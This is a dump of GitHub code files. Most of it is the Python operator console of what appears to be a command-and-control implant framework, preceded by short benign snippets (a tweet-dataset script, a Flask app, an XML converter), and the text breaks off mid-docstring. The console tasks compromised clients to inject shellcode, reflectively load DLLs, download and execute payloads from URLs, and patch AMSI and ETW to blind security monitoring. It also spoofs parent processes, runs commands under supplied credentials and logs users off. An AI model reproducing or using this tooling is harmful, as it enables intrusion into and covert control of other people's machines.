header: List[str], tweets: list) -> None:\n \"\"\"\n write_csv writes a list of tweets to the target csv file\n \"\"\"\n with open(target, 'w') as new_dataset:\n writer = csv.writer(new_dataset)\n writer.writerow(header)\n for tweet in tweets:\n writer.writerow(tweet)\n\n\ndef clean_row(row: List[str], keywords: List[str], sentiment: Dict[int, int]) -> list:\n \"\"\"\n clean_row takes a row from a dataset and retrieves the necessary information\n \"\"\"\n tweet_date = convert_tweet_to_date(row[1])\n tweet_id = int(row[6])\n tweet_sentiment = sentiment[tweet_id]\n content = row[17]\n tweet_retweets = int(row[13])\n keyword_in_tweet = []\n for word in keywords:\n if word in content:\n keyword_in_tweet.append(1)\n else:\n keyword_in_tweet.append(0)\n return [tweet_sentiment, content, tweet_id, tweet_date, tweet_retweets] + keyword_in_tweet\n\n\nif __name__ == '__main__':\n import python_ta\n\n python_ta.check_all(config={\n 'extra-imports': ['csv', 'datetime', 'python_ta.contracts'],\n 'allowed-io': ['create_dataset', 'count_frequency', 'write_csv'],\n 'max-line-length': 100,\n 'disable': ['R1705', 'C0200']\n })\n\n import python_ta.contracts\n\n python_ta.contracts.check_all_contracts()\n\n import doctest\n\n doctest.testmod()\n","repo_name":"EclipseIsDead/CSC110-FinalProject","sub_path":"make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":5458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"29891125857","text":"from flask import Flask, render_template, jsonify, Response, request\r\nimport json\r\nimport datetime\r\n\r\n\r\napp = Flask(__name__)\r\nTEMPLATES_AUTO_RELOAD = True\r\napp.config[\"TEMPLATES_AUTO_RELOAD\"] = True\r\n\r\ndef parse_date(datestr):\r\n # datetime.datetime.strptime(datestr, '%a %b %m %H:%M:%S %z %Y') \"%Y-%m-%dT%H:%M:%SZ\"\r\n return datetime.datetime.strptime(datestr, \"%Y-%m-%dT%H:%M:%SZ\") \r\n\r\n@app.route('/')\r\ndef index_view():\r\n username = request.args.get('username')\r\n user_str = str(username)\r\n print(\"given username is \"+str(user_str))\r\n #first lets check if the given username is there\r\n\r\n with open('./users.json', 'r') as f:\r\n \r\n users = f.read();\r\n #print(dict(users))\r\n jsonUsers = json.loads(users)\r\n print(type(jsonUsers))\r\n\r\n if user_str in jsonUsers:\r\n print(\"present\")\r\n with open('./posts.json', 'r') as p:\r\n posts_json = json.loads(p.read())\r\n #posts = json.loads(users)\r\n user_tweets = posts_json[user_str]\r\n print(posts_json[user_str])\r\n #lets order the posts now\r\n a = sorted([2,3,1,2])\r\n orderPosts = sorted(user_tweets , key=lambda d: parse_date(d['time'] ))\r\n\r\n \r\n \r\n return render_template('index.html', username = username,posts=orderPosts)\r\n else :\r\n print(\"nah\")\r\n return render_template('index.html', username = False) \r\n \r\n \r\n\r\n\r\n return render_template('index.html', username = username)\r\n\r\n@app.route('/users')\r\ndef users_view():\r\n with open('./users.json', 'r') as f:\r\n users = f.read()\r\n return Response(users, mimetype=\"application/json\")\r\n\r\n@app.route('/posts')\r\ndef posts_view():\r\n with open('./posts.json', 'r') as f:\r\n posts = f.read()\r\n\r\n \r\n return Response(posts, mimetype=\"application/json\")\r\n\r\nif __name__ == '__main__':\r\n app.run(host='127.0.0.1')","repo_name":"tshepo-ncube/FrancGroup-interview-answer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"5653217185","text":"def main():\n with open(\"schedule.xml\", encoding=\"utf-8\") as f:\n f = '' + f.read() + ''\n\n with open(\"schedule3.wml\", 'w') as f2:\n print(f, file=f2)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zeculesu/ITMO","sub_path":"informatics/лабораторная 4/parsing_xml_to_wml.py","file_name":"parsing_xml_to_wml.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43437309495","text":"from shlex import split\nfrom base64 import b64encode\nfrom os.path import basename\nfrom string import whitespace\nfrom datetime import datetime\nfrom include.cli.helpers import is_valid_name, make_menu\nfrom include.cli.const import EMPTY, MENU_BOLTS, HELP_DATA, HELP_PIPE, HELP_STRVAL\nfrom include.cirrus import (\n Filter,\n ACTIONS_REG,\n ACTIONS_WTS,\n ACTIONS_TROLL,\n ACTIONS_WINDOW,\n ACTIONS_FUNCMAP,\n)\nfrom include.util import (\n nes,\n do_ask,\n is_true,\n time_str,\n bytes_from_src,\n split_user_domain,\n)\nfrom include.cli.parser import (\n PARSERS,\n PARSER_RM,\n PARSER_WTS,\n PARSER_ASM,\n PARSER_DEX,\n PARSER_DLL,\n PARSER_RUN,\n PARSER_PULL,\n PARSER_POWER,\n PARSER_CREDS,\n PARSER_RUNAS,\n PARSER_PROXY,\n PARSER_CHECK,\n PARSER_SPAWN,\n PARSER_PARENT,\n PARSER_ZOMBIE,\n PARSER_NETCAT,\n PARSER_REGEDIT,\n PARSER_FUNCMAP,\n PARSER_WORKHOURS,\n)\n\n_MENU = [\n \"asm\",\n \"back\",\n \"cat\",\n \"cd\",\n \"chan\",\n \"check_debug\",\n \"check_dll\",\n \"cp\",\n \"creds\",\n \"dex\",\n \"dll\",\n \"download\",\n \"elevate\",\n \"evade\",\n \"exit\",\n \"funcmap\",\n \"getsystem\",\n \"help\",\n \"hup\",\n \"info\",\n \"jitter\",\n \"job\",\n \"jobs\",\n \"kill\",\n \"killdate\",\n \"last\",\n \"loginas\",\n \"ls\",\n \"main\",\n \"make_token\",\n \"man\",\n \"migrate\",\n \"mktoken\",\n \"mounts\",\n \"mv\",\n \"nc\",\n \"parent\",\n \"parent_clear\",\n \"parent_desktop\",\n \"parent_elevated\",\n \"parent_exclude\",\n \"parent_fallback\",\n \"parent_include\",\n \"parent_name\",\n \"parent_pid\",\n \"patch_dll\",\n \"poweroff\",\n \"procdump\",\n \"procname\",\n \"profile\",\n \"proxy\",\n \"ps\",\n \"pull\",\n \"pwd\",\n \"pwsh\",\n \"reboot\",\n \"refresh\",\n \"regedit\",\n \"rev2self\",\n \"rm\",\n \"run\",\n \"runas\",\n \"screenshot\",\n \"script\",\n \"set_hide\",\n \"shell\",\n \"shutdown\",\n \"show_window\",\n \"sleep\",\n \"spawn\",\n \"steal\",\n \"touch\",\n \"troll\",\n \"untrust\",\n \"upload\",\n \"wallpaper\",\n \"whoami\",\n \"window\",\n \"workhours\",\n \"write\",\n \"wts\",\n \"zombie\",\n]\n_TOGGLES = [\"enable\", \"disable\"]\n_AUTO_TYPES = [\"asm\", \"dll\", \"zombie\"]\n_EVADE_TYPES = [\n \"eh\",\n \"erase_header\",\n \"hide_threads\",\n \"ht\",\n \"pa\",\n \"patch_amsi\",\n \"patch_etw\",\n \"pe\",\n \"zeroamsi\",\n \"zerothreads\",\n \"zerotrace\",\n]\n\n\ndef _is_help(a):\n if a is None:\n return False\n return (\n len(a) == 2 and (a[0] == \"-\" or a[0] == \"/\") and (a[1] == \"h\" or a[1] == \"?\")\n ) or (len(a) == 1 and (a[0] == \"-h\" or a[0] == \"/?\" or a[0] == \"?\"))\n\n\ndef _split_list(v):\n if not nes(v):\n return None\n e = split(v)\n if not isinstance(e, list) or len(e) == 0:\n del e\n return None\n if len(e) == 1 and \",\" not in e[0]:\n del e\n return [v.strip()]\n r = list()\n for s in e:\n if \",\" not in s:\n r.append(s.strip())\n continue\n for n in s.split(\",\"):\n i = n.strip()\n if len(i) == 0:\n continue\n if i[0] == \",\":\n i = i[1:].strip()\n if i[-1] == \",\":\n i = i[:-1].strip()\n r.append(i)\n del e\n return list(set(r))\n\n\ndef _quick_filter(v):\n f = Filter()\n try:\n f.pid = int(v)\n return f\n except ValueError:\n pass\n f.include = _split_list(v)\n return f\n\n\ndef _split_list_values(e):\n if e is None:\n return None\n if isinstance(e, str):\n if len(e) == 0:\n return None\n return _split_list(e)\n if not isinstance(e, list) or len(e) == 0:\n return None\n if len(e) == 1:\n return _split_list(e[0])\n r = list()\n for v in e:\n o = _split_list(v)\n if o is None or len(o) == 0:\n continue\n r.extend(o)\n del o\n return list(set(r))\n\n\ndef _get_callable(type, show, r, asm, dll):\n if not nes(r.method):\n if not nes(r.data):\n if nes(asm) or (nes(dll) and r.reflect):\n p = {\"show\": show}\n if nes(asm):\n b, _ = bytes_from_src(asm, raw=False, empty=False)\n p[\"data\"] = b64encode(b).decode(\"UTF-8\")\n del b\n print(f'[+] Using runtime ASM file \"{asm}\".')\n else:\n b, _ = bytes_from_src(dll, raw=False, empty=False)\n p[\"data\"] = b64encode(b).decode(\"UTF-8\")\n del b\n print(f'[+] Using runtime DLL file \"{dll}\".')\n if nes(r.entry):\n p[\"entry\"] = r.entry\n if nes(r.args):\n p[\"fake\"] = r.args\n print('[+] Guessing method \"zombie\" based on arguments.')\n return \"zombie\", p\n print('[+] Guessing method \"asm\" based on arguments.')\n return \"asm\", p\n if nes(dll):\n p = {\"show\": show, \"reflect\": r.reflect}\n b, v = bytes_from_src(dll, raw=False, empty=False)\n if v:\n p[\"path\"] = b\n else:\n p[\"data\"] = b64encode(b).decode(\"UTF-8\")\n del b, v\n if nes(r.entry):\n p[\"entry\"] = r.entry\n del r\n print(f'[+] Using runtime DLL file \"{dll}\".')\n print('[+] Guessing method \"dll\" based on arguments.')\n return \"dll\", p\n print('[+] Guessing method \"self\" based on arguments.')\n return \"\", None\n if r.data.lower() == \"self\":\n print('[+] Guessing method \"self\" based on arguments.')\n return \"\", None\n if r.data.lower().startswith(\"http\") and \"://\" in r.data:\n print('[+] Guessing method \"pexec\" based on arguments.')\n if nes(r.agent):\n return \"pexec\", {\"url\": r.data, \"agent\": r.agent}\n return \"pexec\", r.data\n p = {\"cmd\": r.data, \"show\": show}\n if nes(r.user):\n u, d = split_user_domain(r.user, r.domain)\n if nes(u):\n p[\"user\"] = u\n if nes(r.pw):\n p[\"pass\"] = r.pw\n if nes(d):\n p[\"domain\"] = d\n del u, d\n b, x = bytes_from_src(r.data, path=True, b64=False, no_err=True)\n if not x and b is not None:\n p = {\"show\": show, \"data\": b64encode(b).decode(\"UTF-8\")}\n if nes(r.entry):\n p[\"entry\"] = r.entry\n if nes(r.args):\n p[\"fake\"] = r.args\n print('[+] Guessing method \"zombie\" based on arguments.')\n return \"zombie\", p\n print('[+] Guessing method \"asm\" based on arguments.')\n return \"asm\", p\n del b, x\n print('[+] Guessing method \"exec\" based on arguments.')\n return \"exec\", p\n m = r.method.lower()\n if m == \"self\":\n return \"\", None\n if not nes(r.data) and (nes(asm) or nes(dll)) and m not in _AUTO_TYPES:\n raise ValueError(f\"{type}: missing file/command!\")\n elif not nes(r.data) and not nes(asm) and not nes(dll):\n raise ValueError(f\"{type}: missing file/command!\")\n if m == \"url\":\n if nes(r.agent):\n return \"pexec\", {\"url\": r.data, \"agent\": r.agent}\n return \"pexec\", r.data\n if m == \"zombie\" and not nes(r.args):\n raise ValueError(f\"{type}: missing fake arguments for Zombie process!\")\n if m == \"exec\" or m == \"exe\":\n p = {\"cmd\": r.data, \"show\": show}\n if nes(r.user):\n u, d = split_user_domain(r.user, r.domain)\n if nes(u):\n p[\"user\"] = u\n if nes(r.pw):\n p[\"pass\"] = r.pw\n if nes(d):\n p[\"domain\"] = d\n del u, d\n return \"exec\", p\n if m == \"dll\" and not nes(r.data) and r.reflect and nes(asm):\n m = \"asm\"\n if m == \"dll\":\n if not nes(r.data) and nes(dll):\n r.data = dll\n print(f'[+] Using runtime DLL file \"{dll}\".')\n p = {\"show\": show, \"reflect\": r.reflect}\n b, v = bytes_from_src(r.data, cb64=True, ext=True, explicit=True, empty=False)\n if v:\n p[\"path\"] = b\n else:\n p[\"data\"] = b64encode(b).decode(\"UTF-8\")\n del b, v\n if nes(r.entry):\n p[\"entry\"] = r.entry\n del r\n return \"dll\", p\n if m == \"asm\" or m == \"zombie\":\n p = {\"show\": show}\n if not nes(r.data) and nes(asm):\n r.data = asm\n print(f'[+] Using runtime ASM file \"{asm}\".')\n if not nes(r.data) and nes(dll):\n r.data = dll\n print(f'[+] Using runtime DLL file \"{dll}\".')\n b, _ = bytes_from_src(r.data, cb64=True, explicit=False, empty=False)\n p[\"data\"] = b64encode(b).decode(\"UTF-8\")\n del b\n if nes(r.entry):\n p[\"entry\"] = r.entry\n if m == \"zombie\":\n p[\"fake\"] = r.args\n del r\n return m, p\n raise ValueError(f\"{type}: invalid/unguessable method!\")\n\n\nclass MenuBolt(object):\n __slots__ = (\n \"id\",\n \"jobs\",\n \"show\",\n \"shell\",\n \"_user\",\n \"filter\",\n \"_domain\",\n \"__dict__\", # Added as we dynamically override functions for Script\n \"_password\",\n )\n\n def __init__(self, shell):\n self.id = None\n self._user = \"\"\n self.jobs = None\n self.show = False\n self._domain = \"\"\n self.filter = None\n self.shell = shell\n self._password = \"\"\n\n def do_ls(self, p):\n \"\"\"\n ls [remote_path]\n\n OS: Any\n OPsec: Safe\n Admin: Maybe (depends on path)\n\n Retrieves a list of files in the supplied directory path. If no path is\n given, the client will use the current working directory.\n\n Environment variables are processed on the client.\n\n Examples:\n ls\n ls C:/\n \"\"\"\n if len(p) == 0:\n return self._system(\"ls\")\n if p == \"-al\":\n return self._system(\"ls\")\n if p.startswith(\"-\") and \" \" in p:\n p = p[p.find(\" \") + 1 :] # Truncate any \"ls -al\"\n self._system(f\"ls {p}\")\n\n def do_cd(self, p):\n \"\"\"\n cd \n\n OS: Any\n OPsec: Safe\n Admin: Maybe (depends on path)\n\n Instructs the client to change it's current working directory.\n\n Environment variables are processed on the client.\n\n Examples:\n cd C:/\n cd C:/Windows\n \"\"\"\n if len(p) == 0:\n return print(\"cd \")\n self._system(f\"cd {p}\")\n\n def do_ps(self, _):\n \"\"\"\n ps\n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Retrieves a list of running processes on the client.\n \"\"\"\n self._system(\"ps\")\n\n def do_nc(self, *a):\n \"\"\"\n nc [-T|--tcp]\n | [-U|--udp]\n | [-I|--icmp]\n | [-S|--tls]\n | [-X|--tls-insecure]\n | [-r|--read]\n | [-t|--timeout] \n | \n | [data]\n\n OS: Any\n OPsec: Safe-ish (depends on network logging)\n Admin: No (only needed for raw cons)\n\n Make a connection from the client device using tcp,udp,icmp,tls or\n insecure (no CA check) tls. This function assumes tcp by default if\n nothing is specified.\n\n When making the connection a data payload may be specified to be sent.\n This can include local files or raw data. By default, this will only SEND\n the data and will ONLY RECEIVE if the \"-r\" or \"--read\" switch is used.\n\n Data passed to this command will be evaluated for Data Specification\n Identifiers, but will default to text.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n When reading it will read until socket closure, unless a timeout specified\n with \"-t\" was specified (in seconds).\n\n The results of the data will be returned back to the console output. The\n flag \"-o\" allows for a local file for the output to be written to instead.\n\n Examples:\n nc --tcp 1.1.1.1:53 b$Hello There!\n nc -r 127.0.0.1:8080 b$GET /secret.txt HTTP/1.1\\\\nHost: 127.0.0.1\\\\n\\\\n\n \"\"\"\n if _is_help(a):\n return self.do_help(\"nc\")\n if len(a) == 0:\n return print(\"nc [data]\")\n r = PARSERS[PARSER_NETCAT].parse_args(a, cat=\" \")\n if not nes(r.host):\n return print(\"nc [data]\")\n p = \"tcp\"\n if r.tcp:\n p = \"tcp\"\n elif r.udp:\n p = \"udp\"\n elif r.icmp:\n p = \"icmp\"\n elif r.tls:\n p = \"tls\"\n elif r.tls_insecure:\n p = \"tls-insecure\"\n self._exec(\n self.shell.cirrus.task_netcat,\n host=r.host,\n proto=p,\n data=r.data,\n seconds=r.timeout,\n read=r.read,\n dest=r.output,\n )\n del r, p\n\n def do_rm(self, *a):\n \"\"\"\n rm [-f|--force] \n\n OS: Any\n OPsec: Not Safe! Disk Write\n Admin: Maybe (depends on target)\n\n Deletes a file at the specified path. The force flag \"-f\" or \"--force\"\n may be used to delete recursively or delete non-empty directories.\n\n Environment variables are processed on the client.\n\n Examples:\n rm C:/directory\n rm -f C:/my/file/path\n \"\"\"\n if _is_help(a):\n return self.do_help(\"rm\")\n if len(a) == 0:\n return print(\"rm \")\n r = PARSERS[PARSER_RM].parse_args(a, eq=True)\n if not nes(r.path):\n return print(\"rm \")\n self._exec(self.shell.cirrus.task_delete, path=r.path, force=r.force)\n del r\n\n def do_job(self, j):\n \"\"\"\n job \n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Retrieve the results of a completed Job.\n\n Examples:\n job 1337\n \"\"\"\n if len(j) == 0:\n return print(\"job \")\n try:\n if self.shell.cirrus.show_result(self.id, int(j), False):\n return\n print(f\"[+] Job {j} returned no content.\")\n except (ValueError, TypeError) as err:\n print(f\"[!] {err}!\")\n\n def do_pwd(self, _):\n \"\"\"\n pwd\n\n OS: Any\n OPsec: Safe\n Admin: No\n\n Returns the client's current working directory.\n \"\"\"\n self._system(\"pwd\")\n\n def do_cat(self, f):\n \"\"\"\n cat \n\n OS: Any\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Display the contents of the file at the specified path.\n\n Environment variables are processed on the client.\n\n Examples:\n cat C:/file1.txt\n cat C:/Windows/system.ini\n \"\"\"\n self.do_download(f, None)\n\n def do_man(self, n):\n self.do_help(n)\n\n def do_hup(self, *a):\n \"\"\"\n hup [-u ] [-d ] [-p ] \n\n OS: Any\n OPsec: Maybe (depends on command)\n Admin: Maybe (depends on command)\n\n Executes a command on the client but detaches immediately and returns\n without retrieving the exit code or stdout/stderr.\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n The \"$\" and \".\" prefixes are allowed for use with this command.\n\n This command is affected by any saved credentials (if no credentials are\n specified manually. See below.)\n\n The additional \"-u\", \"-p\" and \"-d\" arguments may be used to change the\n user the process is executed as. See the \"runas\" command for more info.\n\n Examples:\n hup echo lol\n hup ping 127.0.0.1\n hup -u bob -p Password1 whoami /all\n \"\"\"\n self._run(\"hup\", True, None, *a)\n\n def do_run(self, *a):\n \"\"\"\n run [-x|--detach] [-u ] [-d ] [-p ] \n\n OS: Any\n OPsec: Maybe (depends on command)\n Admin: Maybe (depends on command)\n\n Executes a command on the client and will return the PID, exit code and\n any stdout/stderr data once the process completes.\n\n The parent of this command can be controlled by the parent filter, which\n can be updated with the filter commands. By default the parent will be\n the current client process if not set.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n This command is affected by any saved credentials (if no credentials are\n specified manually. See below.)\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed). This is\n the same as running this command with the \"hup\" command.\n\n The additional \"-u\", \"-p\" and \"-d\" arguments may be used to change the\n user the process is executed as. See the \"runas\" command for more info.\n\n Examples:\n run tasklist\n run ping 127.0.0.1\n run -u bob -p Password1 whoami /all\n \"\"\"\n self._run(\"run\", False, None, *a)\n\n def do_asm(self, *a):\n \"\"\"\n asm [-x|--detach] [-e|--entry ] \n\n OS: Windows\n OPsec: Safe\n Admin: Maybe (depends on target)\n\n Reads some specified data as raw assembly (shellcode). By default this\n command will assume a local path if it exists. But using Data Specification\n Identifiers, it is possible to directly specify machine code if needed.\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed).\n\n The owning process of this thread can be controlled by the parent filter,\n which can be updated with the filter commands. By default the owner will\n be the current client process if not set.\n\n Data passed to this command will be evaluated for Data Specification\n Identifiers, but will default to a local file path.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n If the file path points to a compiled DLL, this will convert it to\n shellcode on the server side before being sent to the client.\n\n The \"-e\" or \"--entry\" argument can be used to specify the function started\n after DLLMain (if the file is a DLL or DLL bytes).\n\n Examples:\n asm /home/hackerman/gibson.bin\n asm /tmp/malware.dll\n asm b$\\x90\\x33\n \"\"\"\n if _is_help(a):\n return self.do_help(\"asm\")\n if len(a) == 0:\n return print(\"asm \")\n r = PARSERS[PARSER_ASM].parse_args(a, eq=True)\n if not nes(r.data):\n return print(\"asm \")\n self._exec(\n self.shell.cirrus.task_assembly,\n data=r.data,\n show=self.show,\n detach=r.detach,\n filter=self.filter,\n entry=r.entry,\n )\n del r\n\n def do_dex(self, *a):\n \"\"\"\n dex [-x|--detach] [-a|--agent ] \n\n OS: Any (ASM/DLL is Windows only)\n OPsec: Not Safe! (If the target is a Binary/DLL), Disk Write\n Admin: No\n\n Downloads the file at the supplied URL (as the client) and attempt to\n execute it. The \"Content-Type\" header determines what action is taken,\n and can take the form of many different types, such as an EXE, PowerShell\n or Assembly for example.\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed).\n\n DLL or Binary files make a write to disk!\n\n The parent of this executable can be controlled by the parent filter,\n which can be updated with the filter commands. By default the parent will\n be the current client process if not set.\n\n This command is affected by the \"set_hide\" command, which by default\n does not show any processes launched.\n\n The \"-a\" or \"--agent\" argument may be specified to change the User-Agent\n the client uses to connect to the server. String-Var Dynamic Values are\n supported. If left empty, the default Firefox agent string will be used.\n\n See \"help strvar\" for more info on String-Var Dynamic Values.\n\n Examples:\n dex google.com/robots.txt\n dex -a 'GoogleBot v%100d' google.com/file.txt\n \"\"\"\n if _is_help(a):\n return self.do_help(\"dex\")\n if len(a) == 0:\n return print(\"dex \")\n r = PARSERS[PARSER_DEX].parse_args(a, eq=True)\n if not nes(r.url):\n return print(\"dex \")\n self._exec(\n self.shell.cirrus.task_pull_exec,\n url=r.url,\n agent=r.agent,\n show=self.show,\n detach=r.detach,\n filter=self.filter,\n )\n del r\n\n def do_jobs(self, _):\n \"\"\"\n jobs\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Display Jobs in progress or cached completed Jobs.\n \"\"\"\n self.shell.cirrus.show_jobs(self.id, all=False)\n\n def do_back(self, _):\n \"\"\"\n back\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Go back to the Bolts menu.\n \"\"\"\n self._user = \"\"\n self._domain = \"\"\n self._password = \"\"\n self.shell.set_menu(MENU_BOLTS)\n\n def do_exit(self, _):\n \"\"\"\n back\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Go back to the Bolts menu.\n \"\"\"\n self.do_back(_)\n\n def do_help(self, n):\n if len(n) == 0 or n == \"help\" or n == \"man\":\n return print(\"help \")\n if n == \"data\":\n return print(HELP_DATA)\n if n == \"strval\":\n return print(HELP_STRVAL)\n else:\n try:\n d = getattr(self, \"do_\" + n).__doc__\n except AttributeError:\n return print(f'[!] Help text for \"{n}\" not found.')\n if d is None:\n return print(f'[!] Help text for \"{n}\" not found.')\n for i in d.strip().split(\"\\n\"):\n print(i.lstrip(whitespace))\n del d\n\n def do_info(self, _):\n \"\"\"\n info\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Display system and client information, such as PID, PPID, user and OS\n version.\n \"\"\"\n self.shell.cirrus.show_info(self.id)\n\n def do_kill(self, n):\n \"\"\"\n kill \n\n OS: Any\n OPsec: Safe (Process logging?)\n Admin: Maybe (depends on target)\n\n Attempts to force kill a process by it's Process ID (PID) or image name.\n\n Examples:\n kill 1337\n kill explorer.exe\n \"\"\"\n if len(n) == 0:\n return print(\"kill \")\n p, v = None, None\n try:\n p = int(n)\n except ValueError:\n v, p = n, None\n self._exec(self.shell.cirrus.task_kill, pid=p, pname=v)\n del p, v\n\n def default(self, c):\n if self.shell.no_default_run:\n return\n self.do_run(c)\n\n def do_chan(self, v):\n \"\"\"\n chan [boolean]\n\n OS: Any\n OPsec: n/a\n Admin: n/a\n\n Enable/Disable channel mode. If no option is specified, enable channel\n mode (if not already enabled).\n\n Can take multiple types of boolean values: (\"true\", \"T\", \"t\", \"yes\", \"y\",\n \"enable\", \"e\", \"1\").\n\n Examples:\n chan\n chan true\n chan disable\n \"\"\"\n if len(v) == 0:\n return self._system(\"chan\")\n self._system(f\"chan {str(is_true(v)).lower()}\")\n\n def do_dll(self, *a):\n \"\"\"\n dll [-x|--detach] [-r|--reflect] [-e|--entry ] \n\n OS: Windows\n OPsec: Not Safe! (If a local file is used without reflection), Disk Write\n Admin: Maybe (depends on target)\n\n Loads a DLL into memory of a process.\n\n If the \"-x\" or \"--detach\" argument is specified, the command will be ran\n in \"detached\" mode and will return instantly and not be monitored. (This\n also allows the process to live even when the client is closed).\n\n The behavior of this command is affected by the Data Specification\n Identifiers in the supplied data.\n\n If no Data Specification Identifier is found or the identifier indicates\n | any identifier that is NOT external, the raw contents will be loaded\n | into memory and sent to the client.\n |\n | If the \"-r\" or \"--reflect\" argument is used, the server will convert\n | the DLL to shellcode and run it on the client as assembly, otherwise\n | the file will be written to a temp folder on disk and loaded directly.\n\n If the data contains a Remote File Path Data Specification Identifier,\n | path will be sent to the client to load the path directly from disk.\n | NOTE: The \"-r\" or \"--reflect\" argument is ignored in this scenario.\n\n See \"help data\" for more info on Data Specification Identifiers.\n\n The \"-e\" or \"--entry\" argument can be used to specify the function started\n after DLLMain. This will only occur if the DLL is reflected and will be\n ignored if empty.\n\n The owning process of this thread can be controlled by the shell filter,\n which can be updated with the filter commands. By default the owner will\n be the current client process if not set.\n\n Examples:\n dll x$/tmp/implant.dll\n dll -r /tmp/malware.dll\n dll C:/Windows/malware.dll\n \"\"\"\n if _is_help(a):\n return self.do_help(\"dll\")\n if len(a) == 0:\n return print(\"dll \")\n r = PARSERS[PARSER_DLL].parse_args(a)\n if not nes(r.data):\n return print(\"dll \")\n self._exec(\n self.shell.cirrus.task_dll,\n data=r.data,\n reflect=r.reflect,\n show=self.show,\n detach=r.detach,\n filter=self.filter,\n )\n del r\n\n def do_last(self, _):\n \"\"\"\n last\n\n OS: n/a\n OPsec: n/a\n Admin: n/a\n\n Display the last time the client connected.\n \"\"\"\n s, t = self.shell.cirrus.session(self.id), datetime.now()\n print(f'Last: {time_str(t, s[\"last\"], True)}')\n del s, t\n\n def do_wts(self, *a):\n \"\"\"\n wts \n | [session]\n | [-f|--flags] \n | [-w|--wait]\n | [-t|--seconds] \n | [title]\n | [text]\n\n OS: Any (ps/actions are Windows only)\n OPsec: Safe\n Admin: Maybe (depends on session target)\n\n Allows for listing user Logins on any device and advanced functions on Windows\n devices like Disconnect, Logoff and Message.\n\n The wts command takes an action argument, which determines what parameters\n it will accept.\n\n The special Session ID \"-1\" can be used in place of a valid Session ID\n to select the current session the client is in. The values \"cur\" and\n \"current\" also have the same effect.\n\n Currently the following actions are accepted:\n\n ls\n | List the current user sessions on the client. This works with any OS.\n\n ps [session]\n | (Windows Only) List the processes running under a user login session.\n | The Session ID is optional and this will return all processes if omitted.\n\n disconnect, dis [session]\n | (Windows Only) Disconnect the user session. This will kick off users\n | if they are using Remote Desktop and will lock consoles otherwise.\n | This does not kill the user session processes running and they will be\n | resumed if the user logs back in.\n\n logoff [session]\n | (Windows Only) Logoff the user session. Unlike the \"disconnect\" action,\n | this will terminate all running user processes when kicking the user out.\n\n message, msg [session] [-f|--flags ] [-w|--wait ] [-t|--seconds ] [title] [text]\n | (Windows Only) Display a message similar to the \"window message\" function.\n | This will return once the message is displayed, but the \"-w\" wait\n | argument may be specified to only return once the user clicks on the\n | message box. If the \"-w\" wait argument is specified, this will only\n | display the message box for the specified number of seconds and then\n | dissapear. The \"-f\" flags argument may be used to specify the display\n | options of the message box. This argument accepts hex values.\n |\n | The title and text options support using raw or Base64 data using\n | Data Specification Identifiers. They do not support file paths.\n |\n | See \"help data\" for more info on Data Specification Identifiers.\n\n Examples:\n wts ls\n wts ps 1\n wts ps cur\n wts disconnect 2\n wts logoff 1\n wts message -1 \"Hello There\" \"How are you?\"\n \"\"\"\n if _is_help(a):\n return self.do_help(\"wts\")\n if len(a) == 0:\n return print(\"wts [session]\")\n r = PARSERS[PARSER_WTS].parse_args(a, cat=\" \", nones=False)\n if not nes(r.cmd):\n return print(\"wts [session]\")\n self._exec(\n self.shell.cirrus.task_wts,\n action=r.cmd,\n session=r.session,\n title=r.title,\n text=r.text,\n flags=r.flags,\n seconds=r.seconds,\n wait=r.wait,\n )\n del r\n\n def do_evade(self, m):\n \"\"\"\n evade \n\n OS: Windows (*nix support soon!)\n OPsec: Safe\n Admin: No\n\n Performs one or more evasion procedures on the client. These procedures\n can be space of comma seperated.\n\n Currently the following (Windows Only) evasion procedures are supported:\n\n patch_etw, pe, zerotrace\n | Patch Etw* functions with Assembly that will prevent any events from\n | being executed.\n\n patch_amsi, pa, zeroamsi\n | Patch Amsi* functions so they return pass values and will not trigger\n | alerts.\n\n hide_threads, ht, zerothreads\n | Hide each currently running client implant thread from any debugger\n | by using the \"HideThreadFromDebugger\" flag.\n\n erase_header, eh\n | Prevent debugging attempts by zero-ing out the PE header and it's\n | structures.\n\n The special flag name \"all\" can be used to run all procedures.\n\n Examples:\n evade all\n evade patch_amsi\n \"\"\"\n if not nes(m):\n return print(\"evade \")\n self._exec(self.shell.cirrus.task_evade, action=m)\n\n def do_pull(self, *a):\n \"\"\"\n pull [-a|--agent agent] [-o|--output local_path] [-r|--redirect] [remote_path]\n\n OS: Any\n OPsec: Not Safe! Disk Write (If a remote path is used)\n Admin: Maybe (depends on target)\n\n Downloads the file at the supplied URL (as the client) and save it to\n the specified remote path. If a remote path is not used and the \"-r\" or\n \"--redirect\" argument is used, the results will be returned instead. If\n the \"-o\" argument is used, it will be saved to the supplied local file path.\n Otherwise, the basename of the file will be used instead.\n\n The \"-a\" or \"--agent\" argument may be specified to change the User-Agent\n the client uses to connect to the server. String-Var Dynamic Values are\n supported. If left empty, the default Firefox agent string will be 